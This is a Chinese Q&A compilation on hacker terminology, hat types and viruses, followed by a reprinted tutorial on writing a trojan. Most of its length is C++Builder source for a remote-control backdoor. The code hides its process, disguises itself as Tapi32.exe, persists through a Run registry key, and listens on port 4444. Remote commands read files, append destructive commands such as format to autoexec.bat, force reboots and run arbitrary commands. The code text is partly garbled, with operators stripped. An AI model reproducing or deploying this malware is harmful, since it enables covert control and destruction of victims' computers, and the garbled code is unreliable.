黑客指的是什么,他们一般都干什么?
黑客(Hacker)是指对设计、编程和计算机科学方面具高度理解的人。
也可以指:
1、 “黑客”一词最早是用来称呼研究如何盗用电话系统的人,这一类人士也被称作“飞客”(Phreaker)。
2、 在计算机软件方面,“黑客”是对于计算机及计算机网络内部系统运作特别感兴趣并且有深入理解能力的一群人。
3、 在业余计算机DIY方面,“黑客”是指研究如何修改计算机相关产品的业余爱好者。从1970年代起,有很多这一类社区聚焦于硬件研究。
4、 在信息安全里,“黑客”指研究如何智取计算机安全系统的人员。他们利用公共通讯网路,如电话系统和互联网,在非正规的情况下登录对方系统,掌握操控系统之权力。
黑客是一个中文词语,皆源自英文hacker,随着灰鸽子的出现,灰鸽子成为了很多假借黑客名义控制他人电脑的黑客技术,于是出现了“骇客”与"黑客"分家。2012年电影频道节目中心出品的电影《骇客(Hacker) 》也已经开始使用骇客一词,显示出中文使用习惯的趋同。
黑客(Hacker)当中的中文音译“黑”字总使人对黑客有所误解,真实的黑客主要是指技术高超的程序员,而“溃客”(Cracker)才是专指对计算机系统及网络进行恶意破坏的人。除了精通编程、操作系统的人可以被视作黑客,对硬件设备做创新的工程师通常也被认为是黑客,另外现在精通网络入侵的人也被看作是黑客。
然而在媒体的推波助澜下,“黑客”这一词早已被污名化,由于影视作品、媒体报导通常描述他们进行违法行为,使主流社会一般把黑客看作为“计算机犯罪分子”(Cybercriminal)。
扩展资料:
黑客精神
1、 编写开源软件;
2、 协助test和debug开源软件;
3、 公布有用的资讯;
4、 帮忙维持一些简单的工作;
5、 为黑客文化而努力。
在黑客世界里,各组织的精神与文化都是不尽相同的,但有一个共同点,就是对技术的崇拜与对创新的不断追求。于是黑客们最为热爱:推动开源软件运动,找出漏洞并通知、协助管理员进行修补,从而缔造完美无暇的软硬件。
参考资料:百度百科-黑客
关于黑客的三种类型:白帽,灰帽,黑帽
白帽黑客:一般来说,白帽是指安全研究人员或者从事网络和计算机技术防御的人员。在发现软件漏洞后,他们通常会将这些漏洞报告给供应商,以便供应商可以立即发布漏洞补丁。白帽通常被大公司雇佣,他们是维护世界网络和计算机安全的重要力量。模拟黑客对产品的攻击来测试产品的可靠性,也就是业内所说的渗透测试服务。
灰帽黑客:灰帽是指那些知道技术防御原理,有实力突破这些防御的黑客。灰帽在黑帽和白帽之间的中间区域。他们不向罪犯出售零日漏洞信息,但向政府、执法机构、情报机构、或者军方出售零日漏洞信息。然后,政府会利用这些安全漏洞闯入对手或者嫌疑人的系统。一般来说,灰帽的技术实力往往超过白帽和黑帽。人们常常把黑客行为看作是一种嗜好或者是义务,希望通过自己的黑客行为来警醒某些网络或者系统的漏洞,从而达到警醒的目的。
黑帽黑客:说白了就是利用技术专门利用木马病毒攻击网站和服务器以及操作系统,寻找漏洞,以个人意志为出发点,对网络或者电脑用户进行恶意攻击的黑客。通常指犯罪分子,他们利用自己的力量发现或开发软件漏洞和攻击,或开发其他恶意工具入侵用户机器窃取数据,如密码、电子邮件、知识产权、信用卡号或者银行账户凭据。
一般黑客入侵用的界面是不是图形界面啊?还是像DOS那样的界面啊?
DOS是高级黑客常用,现在一般菜鸟黑客都用图形界面,但是你要真的想把计算机学好,一定把DOS学好了,特别是网络和数据库!
黑客都有那些术语??尽量说详细点?谢谢了
黑客术语一点通
关键词: 黑客 术语 一点通
“反弹端口”原理:
服务端(被控制端)主动连接客户端(控制端),为了隐蔽起见,监听端口一般开在80(提供HTTP服务的端口),这样,即使用户使用端口扫描软件检查自己的端口,也难以发现。而控制端发给服务端的数据是一个第三方的空间来实现的,一般用一个主页空间,控制端通过FTP写主页空间上的一个文件,而服务端定期?*** TTP协议读取这个文件的内容,当发现客户端让自己开始连接时,就主动连接。这样,控制端就可以穿过防火墙,甚至还能访问局域网内部的电脑。
软件加壳:
“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已看到其真实的十六进制代码,因此可以起到保护软件的目的。
软件脱壳:
顾名思义,就是利用相应的工具,把在软件“外面”起保护作用的“壳”程序去除,还文件本来面目,这样再修改文件内容就容易多了。
蠕虫病毒:
它利用了WINDOWS系统的开放性特点,特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能。以VB脚本病毒为例,它们都是把VBS脚本文件加在附件中,使用*.HTM,VBS等欺骗性的文件名。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。
缓冲区溢出:
功击者向一个地址区输入这个区间存储不下的大量字符。在某些性况下,这些多余的字符可以作为“执行代码”来运行,因此足以使功击者不受安全措施限制地获得计算机的控制权。
CMD:
是一个所谓命令行控制台。有两条进入该程序的通道:第一、鼠标点击“开始—运行”,在出现的编辑框中键入“CMD”,然后点击“确定”;第二、在启动Windows2000的时候,按F8进入启动选择菜单,移动光条或键入数字至安全模式的命令行状态。出现的窗口是一个在win9x系统常见的那种MSDOS方式的界面。尽管微软把这个工具当做命令解释器一个新的实例,但使用方法去和原来的DOS没有区别。
嗅控器:
(Snifffer)就是能够捕获网络报文的设备。嗅控器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。
密罐:(Honeypot)
是一个包含漏洞的系统,它摸拟一个或多个易受功击的主机,给黑客提供一个容易功击的目标。由于密罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。密罐的另一个用途是拖延功击者对其真正目标的功击,让功击者在密罐上浪费时间。与此同时,最初的功击目标受到了保护,真正有价值的内容光焕发不将受侵犯。
路由器(Routers):
是用来连接不同子网的中枢,它们工作于osi 7层模型的传输层和网络层。路由器的基本功能就是将网络信息包传输到它们的目的地。一些路由器还有访问控制列表(ACLs),允许将不想要的信息包过滤出去。许多路由器都可以将它们的日志信息注入到IDS系统中,提供有关被阻挡的访问网络企图的宝贵信息。
Unicode漏洞:
Unicode是一个16位的字符集,他可以移植到所有主要的计算机平台并且覆盖几乎整个世界。微软IIS4和5都存在利用扩展Unicode字符取代“/”“\”而能利用“../”目录便利的漏洞。未经授权的用户可能利用IUSR_machinename帐号的上下文空间访问任何已知的文件。该帐号在默认情况下属于Everyone和Users组的成员,因此任何与Web根目录在同一个逻辑驱动器上的能被这些用户组访问的文件都能被删除、修改或执行,如同一个用户成功的登陆所能完成的功能一样!
CGI漏洞:
CGI是Common Gateway Inerface(公用网关接口)的简称,并不特指一种语言。Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI语言漏洞分为以下几类:配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。
SSL漏洞:
SSL是Secure Socket Layer的缩写。是网上传输信用卡和帐户密码等信息时广泛采用的行业加密标准。SSL常见的安全漏洞有三种:1、攻击证书,由于IIS服务器提供“客户端证书映射”功能,用于将客户端提交证书中的名字映射到NT系统的用户帐号,再这种情况下我们能够获得该主机的系统管理员权限!如果黑客不能利用非法的证书突破服务器,还可尝试暴力攻击。2、窃取证书,黑客还可能窃取有效的证书及相关的思友密匙。3、安全盲点。没有网络检测系统再加上没有安全漏洞审查,使得最重要的服务器反而成为受到最少防护的服务器。
IPC$漏洞:
IPC$是共享“命名管道”的资源,它对于程序间的通讯十分重要。再远程管理计算机和查看计算机的共享资源时使用。利用IPC我们可以与目标主机建立一个空的连接,而利用这个空连接,我们还可以得到目标主机上的用户列表。但是,一些别有用心的人会利用IPC$,查找我们的用户列表,并使用一些字典工具,对我们的主机进行入侵攻击。
IIS漏洞:
IIS是Internet Information Service的缩写。是微软公司的Web服务器。IIS支持多种需要服务器端处理的文件类型,当一个WEB用户从客户端请求此类文件时,相应的DLL文件将自动对其进行处理。然而再ISM.DLL这个负责处理HTR文件的文件中被发现存在严重的安全漏洞。该漏洞包含了一个再ISM.DLL重未经验证的缓冲,他可能对WEB服务器的安全运作造成两方面的威胁。首先,是来自服务拒绝攻击的威胁,另一个威胁通过使用一个精心构建过的文件请求将可以利用标准缓存溢出手段导致2进制代码再服务器端运行,再这种情况下,什么都可能发生!
NTLM验证:
NTLM(NT LAN Mangager)是微软公司开发的一种身份验证机制,从NT4开始就以之使用,主要用于本地的帐号管理。
IPC管道:
为了更好的控制和处理不同进程之间的通信和数据交换,系统会通过一个特殊的连接管道来调度整个进程。
3389漏洞:
由于微软的原因,使得安装了微软服务终端和全拼的Win2K服务器存在着远程登陆并能获得超级用户全县的严重漏洞。
139漏洞:
通过139端口入侵是网络攻击中常见的一种攻击手段,一般情况下139端口开启是由于NetBIOS网络协议的使用。NetBIOS就是网络基本输入输出系统,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应的IP地址,从而实现信息通讯。再局域网内部使用NetBIOS协议可以非常方便的实现消息通信,但是如果再Internet上,NetBIOS就相当于一个后门程序,很多攻击这都是通过NetBIOS漏洞发起攻击的!
shell:
shell是系统与用户的交换方式界面。简单来说,就是系统与用户“沟通”的环境。我们平时常用的DOS,就是一个shell。(Windows2000是cmd.exe)
root:
Unix里面最高权限的用户~即超级管理员
admin:
Windows NT里面最高权限的用户~
rootshell:
通过溢出程序,再主机溢出一个具有root权限的shell。(顺便说一句,国内一知名黑客也叫这个名字)
IDS:
入侵检测系统,用于在黑客发起进攻或是发起进攻之前检测到攻击,并加以拦截。IDS是不同于防火墙的,防火墙只能屏蔽入侵,而IDS却可以在入侵发生以前,通过一些信息来检测到即将发生的攻击或是入侵以作出反应。
UDP:
一种传输层协议,在网络上不可靠的传输数据包,被DNS用于查询和应答,许多流音频和视频应用也使用它。
API:
一套定义的一致性方法,软件开发人员能用他来编写与其他程序捷克欧的程序。API用于扩展程序的功能和使用预编写的组创建新的程序。
FTP:
文件传输协议。一类应用以及该应用使用的协议的名字,用于将文件从一台计算机移动到另一台。
HTTP:
超文本传输协议。用于在万维网上传输数据,包括超文本标识语言文档、图像、可执行内容等等。TCP承载HTTP,一般服务器监听端口80。
HTTPS:
安全超文本传输协议。通过在安全套接字层(SSL)协议上运行超文本传输协议来将安全添加到万维网中。HTTPS能用于将WEB服务器认证到客户,将客户认证到WEB服务器和加密在两个系统之间传输的所有数据,HTTPS服务器一般监听TCP端口443。
IRC:
Internet中继交谈,一系列程序和一种协议,用于实现在Internet上的交谈会话。IRC特别受计算机地下组织的欢迎,北移些攻击者用来讨论他们的工具、技术和战利品。
MAC Address:
网络接口的数据链路层(第二层)地址。对于以太网卡,MAC地址维48bit长。
LAN:
局域网!一种网络,连接近距离的计算机,一般位于单个房间、建筑物或小的地理区域里。LAN上的所有系统位于一个网络跳之间。
ping:
一类基于Internet控制消息协议的数据包,用于判断网络上的某台计算机是否可以到达。
Proxy:
代理。一类程序或系统,接收来自客户机算计的流量,并代表客户与服务器交互。代理能用于过滤应用级别的制定类型的流量或缓存信息以提高性能。许多防火墙依赖代理进行过滤。
telnet:
用于系统的远程命令行访问的程序和协议。telnet在TCP上传输,服务器一般在TCP端口23监听。
TCP:
传输控制协议。一种传输层协议,被许多要求数据的可靠传输的应用所使用。HTTP、SMTP、FTP和telnet都使用TCP进行传输。
TCP/IP:
整个网际协议族的集合名,包括TCP、UDP、IP和ICMP。
木马
全称为特洛伊木马(Trojan Horse),是根据希腊神话传说中一次战争而得名。麦尼劳斯派兵讨伐特洛伊国王,
他们假装打败,然后留下一个大木马,而木马里却藏着最强悍的勇士!最后等晚上时间一到,木马里的勇士就冲出来把敌人打败了。
这就是后来的”木马计”,而黑客中的木马有点后门的意思,就是把预谋的功能隐藏在公开的功能里,掩饰真正的企图。
肉鸡
已经被攻击了,对其具有控制权的主机。
跳板
一个具有辅助作用的机器,利用这个主机作为一个间接工具,来入侵其他主机,一般和肉鸡连用。
Shell
Shell就是系统于用户的交换式界面。简单来说,就是系统与用户的一个沟通环境,我们平时用到的DOS就是一个Shell(Win2K或cmd.exe)。
Root
Unix里最高权限的用户,也就是超级管理员
从电影电视里看到的黑客屏幕上黑底绿字的窗口是什么?DOS还是Linux?
有图片吗?个人认为一定不会是DOS。有可能是没有安装桌面的Linux或者Unix。
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
